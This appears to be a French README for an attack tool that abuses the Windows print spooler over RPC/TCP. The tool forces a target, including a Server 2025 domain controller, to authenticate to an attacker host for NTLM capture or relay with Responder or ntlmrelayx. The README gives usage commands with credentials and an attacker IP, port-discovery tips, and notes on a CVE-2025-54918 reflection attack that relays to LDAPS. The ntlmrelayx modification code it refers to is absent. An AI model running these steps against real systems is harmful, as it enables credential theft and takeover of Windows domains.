Déclencheur de spouleur d'impression RPC pur sur TCP

Pour Windows 11 22H2+ / Windows Server 2025

Utilisation

printerbugnew.py <target_host> [username] [password] [domain] [attacker_host] [tcp_port]

Exemples

Connexion anonyme

printerbugnew.py 192.168.1.100

Avec identifiants

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN

Déclencher une reconnexion vers un hôte différent (attaquant)

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 192.168.1.50

Utiliser un port RPC spécifique

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 192.168.1.50 49152

Notes

• La cible doit être Windows 11 22H2+ ou Server 2025 (RPC sur TCP par défaut)
• Pour les versions plus anciennes, spoolss utilise RPC sur les canaux nommés (SMB)
• Assurez-vous que les ports 135 et les ports RPC dynamiques (49152-65535) sont ouverts
• Lancez Responder ou ntlmrelayx sur attacker_host pour capturer l'authentification
• Kerberos échoue dans ce cas en raison d'un mauvais SPN du spouleur, forçant le retour à NTLM.
• Trouvez le port RPC/TCP du spouleur cible en interrogeant le mappeur de points de terminaison (EPM) sur TCP/135 pour l'UUID d'interface 12345678-1234-abcd-ef00-0123456789ab. Vous pouvez utiliser rpcdump.py, PortQry, ou tout autre outil de votre choix - ou simplement implémenter la recherche EPM directement dans ce code ;)
• Basé sur https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
  
  
  
  
  
  
  
  

Mise à jour pour CVE-2025-54918

Cet exploit par réflexion fonctionne uniquement sur W2025 avec le « nouveau » printerbug (DCERPC au lieu de Named Pipes). Vous devrez modifier ntlmrelayx à quelques endroits pour que cela fonctionne. Après cela, vous pouvez déclencher à distance le bug d'impression sur un contrôleur de domaine W2025 et refléter l'authentification via LDAPS(!), même si les liaisons de canal sont REQUISES

ldaprelayclient.py:

rpcrelayserver.py


et relayez ;)

La vulnérabilité a été corrigée dans le Patch Tuesday de septembre 2025 : https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918

Le correctif garantit que le MIC est toujours calculé, même lorsque le message de type 3 est vide.

Merci à l'auteur de ce CVE pour un indice précieux :)